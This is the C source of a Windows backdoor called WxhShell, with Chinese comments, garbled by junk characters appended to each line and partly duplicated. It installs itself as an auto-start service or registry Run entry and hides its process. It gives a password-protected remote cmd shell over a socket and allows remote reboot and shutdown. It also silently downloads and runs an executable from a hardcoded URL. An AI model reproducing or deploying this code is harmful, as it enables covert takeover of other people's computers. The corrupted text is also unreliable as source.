    if(Boot(SHUTDOWN)) C.SG m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ _x2xtrH  
    else { q,b6).  
    closesocket(wsh); z}I4m  
    ExitThread(0); e[txJ*SuO  
    } SplEY!.k  
    break; gFk~SJd  
    } `-)!4oJ]  
  // 获取shell l=(4o4um  
  case 's': { 8r7}6  
    CmdShell(wsh); u=a5Z4N'  
    closesocket(wsh); (Uo:WyVj|F  
    ExitThread(0); fiDwa ;,  
    break; g3B zi6$m  
  } #vk-zx*v7=  
  // 退出 H>8B$fi)$  
  case 'x': { 5xJyW`SWz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?m&?BsW$)  
    CloseIt(wsh); /S}0u}jID?  
    break; wps`2`z  
    } T KpX]H`  
  // 离开 ^,@!L-<~(b  
  case 'q': {  _N`:NOM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :Ny.OA  
    closesocket(wsh); *5( h,s3&  
    WSACleanup(); h.\V;6ly  
    exit(1); G8}w|'0m  
    break; 5LVhq[}mP  
        } d*7nz=0&$  
  } L<HJ!  
  } S\7-u\)  
8K qrB!  
  // 提示信息 @ 2r9JqR[=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j$%KKl8j  
} Cx>iSx  
  } W,</  
U\N|hw#f!!  
  return; ;XFo:?  
} 4k9O6  
f.?p"~!  
// shell模块句柄 N?!]^jI,  
int CmdShell(SOCKET sock) q,k/@@Qd9  
{ qTM,'7Rwn  
STARTUPINFO si; KPGo*mY  
ZeroMemory(&si,sizeof(si)); #R_IF&7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <5qXC.{Cyp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0@w8,x  
PROCESS_INFORMATION ProcessInfo; :r0?[#r?N,  
char cmdline[]="cmd"; m.ib#Y)y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y%.^| G  
  return 0; an+`>}]F  
} lq2P10j@  
A%H"a+  
// 自身启动模式 ICSi<V[y1  
int StartFromService(void)  $$E!u}  
{ 2{!o"6t  
typedef struct [t^Z2a{  
{ 7CfHL;+m<4  
  DWORD ExitStatus; O`2;n.>\  
  DWORD PebBaseAddress; wLeP;u1  
  DWORD AffinityMask; #K A,=J  
  DWORD BasePriority; ?)=A[  
  ULONG UniqueProcessId; g~FA:R  
  ULONG InheritedFromUniqueProcessId; ya7/&Z )0  
}   PROCESS_BASIC_INFORMATION; g70B22!y  
<^j,jX  
PROCNTQSIP NtQueryInformationProcess; "b&[W$e  
G(7!3a+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X}?`G?'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #h'F6  
3ZNm,{  
  HANDLE             hProcess; aa!o::;  
  PROCESS_BASIC_INFORMATION pbi; 0pP;[7k\  
zUg-M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -)%l{@Mr  
  if(NULL == hInst ) return 0; qaK9E@l  
9I0}:J;7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m'h`%0Tc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y`@:L'j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <u\j 4<p  
BbA7X  
  if (!NtQueryInformationProcess) return 0; B%95M|  
x:bJ1%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o"F=3b~:n  
  if(!hProcess) return 0; 1`1U'ibhe  
H.sHXuu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JTuU}nm+  
#T0uPK ;  
  CloseHandle(hProcess); $bQ[H[4l  
@di mZsi1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); . IBy'  
if(hProcess==NULL) return 0; Ii"h:GY;\  
)l}Gwd]h  
HMODULE hMod; 8^26g 3  
char procName[255]; 'UGkL;  
unsigned long cbNeeded; _hgu:  
sqkk 4w1#C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uveby:dh  
U_ j\UQC  
  CloseHandle(hProcess); Hk'D@(h S  
p<#WueR[  
if(strstr(procName,"services")) return 1; // 以服务启动 5 rpX"(  
feOX]g#  
  return 0; // 注册表启动 qx3@]9  
} w0n.Y-v4i  
 b,] QfC  
// 主模块 2y/|/IW=  
int StartWxhshell(LPSTR lpCmdLine) V gLnpPOQ  
{ 92|\`\LP%  
  SOCKET wsl; }G,PUjg_^3  
BOOL val=TRUE; sJ{S(wpi"  
  int port=0; w'NL\>  
  struct sockaddr_in door; Opc, {,z6  
.t\#>Fe  
  if(wscfg.ws_autoins) Install(); }Gmwm|`*  
|E/r64T  
port=atoi(lpCmdLine); `w@8i[2J  
&)4#0L4  
if(port<=0) port=wscfg.ws_port; E! '|FJ  
X 4\  
  WSADATA data; 1"pvrX}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3 o=R_%r  
*3;H6   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9os>k*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !]1'?8  
  door.sin_family = AF_INET; 9$)I=Rpk =  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :\I88 -N@'  
  door.sin_port = htons(port); |G^w2"D_Z  
Ae,P&(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |KF_h^  
closesocket(wsl); kXw&*B-/  
return 1; "`l8*]z  
} 6\jhDP@`9  
neN #Mo'A  
  if(listen(wsl,2) == INVALID_SOCKET) { WCc7 MK  
closesocket(wsl); 1D3{\v  
return 1; g"pjWj)?  
} +6dq+8msF  
  Wxhshell(wsl); y8j wfO3  
  WSACleanup(); >K<n~;ON|  
a o"\L0;{  
return 0; UVND1XV^f  
Yyl(<,Yi  
} x+niY;Z E  
y7a84)j3  
// 以NT服务方式启动 QahM)Gb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W dM?{; #  
{ ~.-o*  
DWORD   status = 0; @)"= b!q=  
  DWORD   specificError = 0xfffffff; vwA d6Tm  
TGUlJLT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S6~&g|T,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OsQB` D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qX,T X 3  
  serviceStatus.dwWin32ExitCode     = 0; z"[}Sk  
  serviceStatus.dwServiceSpecificExitCode = 0; l_Ee us  
  serviceStatus.dwCheckPoint       = 0; {ek a xSR  
  serviceStatus.dwWaitHint       = 0; O7&6]/`  
B.O &KRo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W|NT*g{;M  
  if (hServiceStatusHandle==0) return; a!iG;:K   
mU d['Z  
status = GetLastError(); ?]1_ 2\M  
  if (status!=NO_ERROR) (e,5 b  
{ <d&9`e1Hc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E'_3U5U  
    serviceStatus.dwCheckPoint       = 0; ?<mxv"  
    serviceStatus.dwWaitHint       = 0; bq+ Q$#F2X  
    serviceStatus.dwWin32ExitCode     = status; V 4~`yT?*"  
    serviceStatus.dwServiceSpecificExitCode = specificError; gaBVD*>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .(D,CGtYb  
    return; S3cV^CzNg  
  } HN7C+e4U~  
E@uxEF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iLd_{  
  serviceStatus.dwCheckPoint       = 0; mpcO-%a  
  serviceStatus.dwWaitHint       = 0; 6 07"Z\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;:2:f1_  
} aaa6R|>0  
Z4@%0mFll  
// 处理NT服务事件,比如:启动、停止 &\w:jI44Bs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pl2ZA)[g  
{ (g>8!Gl  
switch(fdwControl) x(r>iy  
{ TOH!vQP  
case SERVICE_CONTROL_STOP: luPj'd?  
  serviceStatus.dwWin32ExitCode = 0; D' d^rT| H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1/hk3m(C  
  serviceStatus.dwCheckPoint   = 0; tN-U,6c]  
  serviceStatus.dwWaitHint     = 0; VB(S]N)F^  
  { BH@b]bEJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hu4\4x$?  
  } M.*3qWM  
  return; 'h]sq {  
case SERVICE_CONTROL_PAUSE: at(oepq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;s$bVGHr  
  break; 9/LnO'&-  
case SERVICE_CONTROL_CONTINUE: -FxE!K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wO>P< KBU  
  break; d z-  
case SERVICE_CONTROL_INTERROGATE: RxeyMNd  
  break; -c_}^j  
}; xzI?'?duC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mmf}6ABYT  
} XkGS3EY  
.YYLMI  
// 标准应用程序主函数 =zetZJg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0vi)m y;!  
{ =Su~i Oa  
KV1/!r+*  
// 获取操作系统版本 b@p3iq:  
OsIsNt=GetOsVer(); VH>?%aL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .UdoB`@!v=  
ZvSWIQ6  
  // 从命令行安装 Vm_<eyI2  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?H30  
0q4E^}iR  
  // 下载执行文件 n91@{U)QJ3  
if(wscfg.ws_downexe) { s]lIDp}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q3SYlL'a  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hea76P5$P+  
} ug?])nO.C  
et-<ib<lY  
if(!OsIsNt) { r=S6yq}  
// 如果时win9x,隐藏进程并且设置为注册表启动 _--kK+rU  
HideProc(); Gdi8Al]\Nl  
StartWxhshell(lpCmdLine); ko Tb{UL  
} z]\CI:  
else q.GA\o  
  if(StartFromService()) #0F6{&; M  
  // 以服务方式启动 0Qa kFt  
  StartServiceCtrlDispatcher(DispatchTable); ea\b7a*  
else JiXkW%  
  // 普通方式启动 *  11|P  
  StartWxhshell(lpCmdLine); 2u=Nb0  
z}gfH|  
return 0; `3QAXDWE  
} (*XSr Q  
X6Y<pw`y  
n#.~XNbxv  
8*-N@j8  
=========================================== Uiz#QGt  
XZ3)gYQi  
Y)7LkZO(y  
uyfH;9L5$  
eHt |O~  
--t5jSS44  
" .3Ag6YI0N  
Z: e|~#  
#include <stdio.h> 0</]Jo%  
#include <string.h>  '7j!B1K-  
#include <windows.h> !.^%*6f  
#include <winsock2.h> ~"t33U6  
#include <winsvc.h> s .xJ},E9  
#include <urlmon.h> L<` p;?   
;O Td<  
#pragma comment (lib, "Ws2_32.lib") piy_9nk  
#pragma comment (lib, "urlmon.lib") ;FI"N@z  
kCuIEv@  
#define MAX_USER   100 // 最大客户端连接数 #xlT,:_:)  
#define BUF_SOCK   200 // sock buffer BY&+fK ae  
#define KEY_BUFF   255 // 输入 buffer xGU~FU  
iuxS=3lT"K  
#define REBOOT     0   // 重启 r^j iK\*  
#define SHUTDOWN   1   // 关机 9pPohR*#V  
,[j'OyR  
#define DEF_PORT   5000 // 监听端口 ;`(l)X+7  
kz UP   
#define REG_LEN     16   // 注册表键长度 K9@F1ccQ/  
#define SVC_LEN     80   // NT服务名长度 ]-7$wVQ<  
<"SOH; w  
// 从dll定义API /2&:sHWW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); chQCl3&e^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FVw4BUOmi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "y5LojdCs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -9(9LU2  
0~;Owu  
// wxhshell配置信息 ;t_'87h$y  
struct WSCFG { vnrP;T=^  
  int ws_port;         // 监听端口 P_:~!+W,  
  char ws_passstr[REG_LEN]; // 口令 gTby%6- \|  
  int ws_autoins;       // 安装标记, 1=yes 0=no S.Z2gFE&tu  
  char ws_regname[REG_LEN]; // 注册表键名 wQnW2)9!  
  char ws_svcname[REG_LEN]; // 服务名 LKx<hl$O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Alh"ZT^*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "'8^OZR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o/6 'g)r*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hh$V[/iK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M|l`2Hpe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >0kZ-M5  
k>ERU]7[  
}; pod=|(c  
foi@z9  
// default Wxhshell configuration "PI]k  
struct WSCFG wscfg={DEF_PORT,  6[{|'  
    "xuhuanlingzhe", q!sazVaDp  
    1, =D@+_7\?  
    "Wxhshell", 6y4&nTq[  
    "Wxhshell", &E(KOfk#  
            "WxhShell Service", ^#Ruw?D  
    "Wrsky Windows CmdShell Service", n!Dy-)!`O  
    "Please Input Your Password: ", IL\2?(&Z  
  1, wE4:$+R};  
  "http://www.wrsky.com/wxhshell.exe", I<["ko,t@?  
  "Wxhshell.exe" ~53uUT|B  
    }; y!,Ly_x$@  
O6gl[aZN  
// 消息定义模块 %( tu<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2L!wbeTb;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SMMsXH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UUuB Rtau  
char *msg_ws_ext="\n\rExit."; w}`TJijl  
char *msg_ws_end="\n\rQuit."; !MNnau%O  
char *msg_ws_boot="\n\rReboot..."; >;9+4C<z0  
char *msg_ws_poff="\n\rShutdown..."; YV p sf8R  
char *msg_ws_down="\n\rSave to "; ! qF U  
]3%( '8/  
char *msg_ws_err="\n\rErr!"; `wzb}"gLsM  
char *msg_ws_ok="\n\rOK!"; x'c%w:  
Y<"BhE  
char ExeFile[MAX_PATH]; 5,;>b^gXY`  
int nUser = 0; J2ryYdo>  
HANDLE handles[MAX_USER]; ROv(O;.Ty  
int OsIsNt; +li<y`aw0  
vs`"BQYf  
SERVICE_STATUS       serviceStatus; zlw+=NX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3b#eB  
i 1{Lx)  
// 函数声明 =[7[F)I~O  
int Install(void); _3_kvs  
int Uninstall(void); L T.u<ThR}  
int DownloadFile(char *sURL, SOCKET wsh); LrL ZlJf  
int Boot(int flag); KO~_  
void HideProc(void); ,'KS:`m!  
int GetOsVer(void); ?c$z?QTMJ  
int Wxhshell(SOCKET wsl); k /hD2tBLu  
void TalkWithClient(void *cs); de&*#O5  
int CmdShell(SOCKET sock); L7}dvdtZ0  
int StartFromService(void); f <,E  
int StartWxhshell(LPSTR lpCmdLine); 'DDlX3W-  
sX :)g>b   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  dkr[B' n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8H%-/2NW  
WFYbmfmV  
// 数据结构和表定义 AxsTB9/  
SERVICE_TABLE_ENTRY DispatchTable[] = 9;L5#/E  
{ fs:%L  
{wscfg.ws_svcname, NTServiceMain}, \9Z1'W  
{NULL, NULL} pr;z>|FgA>  
}; jIzkI)WC|  
K ]  
// 自我安装 mw[  
int Install(void) h}T+M BA%  
{ ;AjY-w  
  char svExeFile[MAX_PATH]; Q|gRBu  
  HKEY key; O>h,u[0  
  strcpy(svExeFile,ExeFile); 3[RP:W@%  
8c6dTT4  
// 如果是win9x系统,修改注册表设为自启动 qir/Sa' [  
if(!OsIsNt) { 4IT`8n~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OrZ=-9"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0G=bu5  
  RegCloseKey(key); uaX#nn?ws  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^uDNArDmj5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -_p+4tV  
  RegCloseKey(key); h W<fu  
  return 0; C`++r>  
    } _gGI&0(VM  
  } gq'}LcV  
} f4h|Nn%;  
else { 2NNAsr}L  
24}?GO  
// 如果是NT以上系统,安装为系统服务 S~ff<A>f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %ja8DRQ.  
if (schSCManager!=0) Dm")\"5\?  
{ _N-.=86*  
  SC_HANDLE schService = CreateService !bPsJbIo>  
  ( gc y'"d"  
  schSCManager, g?}$"=B   
  wscfg.ws_svcname, l$1z%|I  
  wscfg.ws_svcdisp, !' D1aea5  
  SERVICE_ALL_ACCESS, oC~8h8"l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z`?{5v -Qs  
  SERVICE_AUTO_START, n)n>|w_  
  SERVICE_ERROR_NORMAL, ~"Kf+eFi  
  svExeFile, #lf3$Tm D  
  NULL, w6PKr^  
  NULL, &7}\mnhB  
  NULL, G<5i %@  
  NULL, |9 Gng`)  
  NULL &V$qIvN$  
  ); kvdiDo  
  if (schService!=0) o~_wx  
  { B;3lF ;3`  
  CloseServiceHandle(schService); |SO?UIWp  
  CloseServiceHandle(schSCManager); u(Y! _  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0L ^WTq  
  strcat(svExeFile,wscfg.ws_svcname); -$@$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +5zLQ>]z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d-W@/J  
  RegCloseKey(key); T;4& ^5 n  
  return 0; t7t?xk!2  
    } ~)Z MGx  
  } 8Moe8X#3  
  CloseServiceHandle(schSCManager); FR7DuH/f)  
} )YKnFSm  
}  Xf4   
#dvH0LX?  
return 1; o|tq&&! <  
} qHGwD20 ~  
Mdj?;'Yv  
// 自我卸载 F7FUoew<  
int Uninstall(void) 015 ;'V#we  
{ gJ; *?Uq(  
  HKEY key; $,mljJSQv  
GH6HdZ  
if(!OsIsNt) { 4;rt|X77  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3 N5un`K7  
  RegDeleteValue(key,wscfg.ws_regname); !mM`+XH  
  RegCloseKey(key); ke+3J\;>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (9"w{pnlLc  
  RegDeleteValue(key,wscfg.ws_regname); J'Z!`R|  
  RegCloseKey(key); MHuQGc"e+4  
  return 0; Xscm>.di  
  } WDM^rjA|j  
} g!#M0  
} 4*)a3jI?  
else { ^ B>BA  
4TP AD)C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d){o#@  
if (schSCManager!=0) lj U|9|v  
{ w,6zbI/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W N5`zD$  
  if (schService!=0) b3h3$kIYN  
  { E`"<t:RzF  
  if(DeleteService(schService)!=0) { c}QWa"\2n  
  CloseServiceHandle(schService); lBYc(cr  
  CloseServiceHandle(schSCManager); feSj3,<!  
  return 0; \V1geSoE  
  } F+c4v A})  
  CloseServiceHandle(schService); H*gX90{!2  
  } Z4"SKsJT/>  
  CloseServiceHandle(schSCManager); 65P*Gu?  
} Ib~n}SA  
} ( <Abw{BTm  
<hJ%]]  
return 1; aX)k (*|  
} aJ4y%Gy?  
fcim4dfP  
// 从指定url下载文件 >dr34=(  
int DownloadFile(char *sURL, SOCKET wsh) r Ljb'\<*  
{ 0LjF$3GpZ  
  HRESULT hr; r?:zKj8/u  
char seps[]= "/"; nn1T5;  
char *token; bm</qF'T6  
char *file; VV$$t;R/  
char myURL[MAX_PATH]; nx2iEXsa  
char myFILE[MAX_PATH]; [110[i^  
/OX;3" +1  
strcpy(myURL,sURL); vC# *w,  
  token=strtok(myURL,seps); PsV1btq]  
  while(token!=NULL) gsSUmf1  
  { |5;:3K+  
    file=token; bXx2]E227  
  token=strtok(NULL,seps); Y`U[Y Hx  
  } N084k}io  
Xf"B\%,(`  
GetCurrentDirectory(MAX_PATH,myFILE); THOXs; k0  
strcat(myFILE, "\\"); ^L,Uz:[J  
strcat(myFILE, file); 0m,3''Q5lO  
  send(wsh,myFILE,strlen(myFILE),0); vmY 88Kx&S  
send(wsh,"...",3,0); 0sQt+_Dl%L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S260h,(,  
  if(hr==S_OK) ;RElG>#$  
return 0; Wv4x^nJ  
else ]ZbZ]  
return 1; f3p)Q<H>`(  
iE}Lw&x  
} fH> I/%  
jNC@b>E?~  
// 系统电源模块 ~8j4IO(  
int Boot(int flag) .#4;em%7  
{ 'a^'f]"  
  HANDLE hToken; )R- e^Cb  
  TOKEN_PRIVILEGES tkp; ) ]y^RrD  
JM& :dzyIP  
  if(OsIsNt) { CY4ntd4M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $YPU(y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HQ7  
    tkp.PrivilegeCount = 1; /}ADV2sF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A_ftf 7,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -(Z%?]+  
if(flag==REBOOT) { 3jJd)C R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ` 465 H  
  return 0; 2JMMNpya  
} -Y{=bZS u  
else { pSPVY2qKX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (H_YYZ3ZX  
  return 0; B=R9K3f  
} l)d(N7HME  
  } 9iwSE(},  
  else { z5UY0>+VdS  
if(flag==REBOOT) { g?mfpwZj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6]mFw{6qn1  
  return 0; `yvH0B -  
} S{l >|N2q  
else { ` &E-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1c2zFBl.&  
  return 0; SXJ]()L?[v  
} (c'kZ9&  
} .O1Kwu  
kgQyG[u  
return 1; Ln4zy*v{  
} aOOkC&%  
 (H*EZ  
// win9x进程隐藏模块 d*===~  
void HideProc(void) ?S~@Ea8/M  
{ KJLC2,  
xV}ybRKV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q ?qpUPzD  
  if ( hKernel != NULL ) +YNN$i  
  { i+Fk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h%0FKi^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,iy;L_N  
    FreeLibrary(hKernel); Z'V"nhL  
  } rmq^P;At  
]rY3bG'&  
return; zfBaB0P  
} q '  
"(QI7:iM  
// 获取操作系统版本 tnn,lWu|  
int GetOsVer(void) zNo(|;19  
{ 'y? HF@NJ  
  OSVERSIONINFO winfo; @Q%g#N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s7(I  
  GetVersionEx(&winfo); ,RYahu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -:jC.} Y  
  return 1; 8K;wX%_,  
  else h88 IP:bo  
  return 0; Y;B#_}yF  
} Cr;d !=  
8A,="YIt  
// 客户端句柄模块 t)62_nu  
int Wxhshell(SOCKET wsl) l`' lqnhv  
{ /iwL$xQQ  
  SOCKET wsh; -|/kg7IO\  
  struct sockaddr_in client; NA<6s]Cs.  
  DWORD myID; gT=RJB  
"{X_[  
  while(nUser<MAX_USER) d=$1Z. ]  
{ 'y<<ce*   
  int nSize=sizeof(client); 3v:c".O2O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J_tI]?jrU  
  if(wsh==INVALID_SOCKET) return 1; l4LowV7  
% QKlvmI"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uTq)Ets3  
if(handles[nUser]==0) &l| :1  
  closesocket(wsh); `B GU  
else a=%QckR*  
  nUser++; n~e#Y<IP\1  
  } NW*qw q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  (r!d4  
NU#rv%p  
  return 0; ;<~lzfs  
} B;6N.X(K  
OBBEsD/bc  
// 关闭 socket {R{Io|   
void CloseIt(SOCKET wsh) ;=ci7IT'  
{ ud @7%%  
closesocket(wsh); OQC.p,SO  
nUser--; y~jYGN  
ExitThread(0); Z9+xB"q2  
} h=`1sfz  
UZ qQ|3  
// 客户端请求句柄 : ~R:[T2P  
void TalkWithClient(void *cs) M,f|.p{,Y  
{ .:(N1n'>1  
`& (Fy  
  SOCKET wsh=(SOCKET)cs; NW=tZVQ<X  
  char pwd[SVC_LEN]; Ts~)0  
  char cmd[KEY_BUFF]; tc%0yr9  
char chr[1]; Zt7Gf  
int i,j; |:{H4  
F,l%SQCyj  
  while (nUser < MAX_USER) { Hc"FW5R  
(qQ|s@O  
if(wscfg.ws_passstr) { |vLlEN/S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u}L;/1,B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A!\-e*+W=  
  //ZeroMemory(pwd,KEY_BUFF); GSh~j-C'  
      i=0; 4-dV%DgC  
  while(i<SVC_LEN) { G._E9  
[L+VvO%cT  
  // 设置超时 1X45~  
  fd_set FdRead; MG G c  
  struct timeval TimeOut; e52y}'L  
  FD_ZERO(&FdRead); $sTvXf:g  
  FD_SET(wsh,&FdRead); 4CdST3  
  TimeOut.tv_sec=8; |n_es)A  
  TimeOut.tv_usec=0; ^^m3 11=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k"V@9q;*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  #VA8a=t  
*G,'V,?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z$q:Y g  
  pwd=chr[0]; $kM8E@x2  
  if(chr[0]==0xd || chr[0]==0xa) { uSRvc0R\  
  pwd=0; 'J=knjAT  
  break; CaV>\E)  
  } .!&S{;Vv?W  
  i++; F~Z~OqCS  
    } ?V>\9?zb  
O@gHx!L  
  // 如果是非法用户,关闭 socket \a|bx4M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O(Tdn;1  
} e[ 8AdE  
w'-J24>=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nnm9pnx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UJX=lh.o  
:.k)!  
while(1) { oF(<}0Z  
n~wNee  
  ZeroMemory(cmd,KEY_BUFF); L9FijF7  
R>YDn|cWI  
      // 自动支持客户端 telnet标准   .-(s`2  
  j=0; .eSMI!Y=  
  while(j<KEY_BUFF) { nU6WT|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <X{hW^??)  
  cmd[j]=chr[0]; f/VrenZ_  
  if(chr[0]==0xa || chr[0]==0xd) { dLtn,qCX0^  
  cmd[j]=0; YyZ>w2_MTi  
  break; 3X,SCG  
  } =?, dX  
  j++; \s[/{3  
    } $7 08\!  
Y8fahQ#  
  // 下载文件 ZMVQo -=  
  if(strstr(cmd,"http://")) { o@d+<6Um  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [9O,C-Mk  
  if(DownloadFile(cmd,wsh)) xzRs;AXOp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o5 fXe}pl@  
  else ` iiZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R4R SXV  
  } MDo4{7  
  else { hSvA dT]m  
N]k(8K  
    switch(cmd[0]) { ^uy2qO4Yw  
  qU1^ K  
  // 帮助 &Vtgh3I  
  case '?': { \"r*wae  
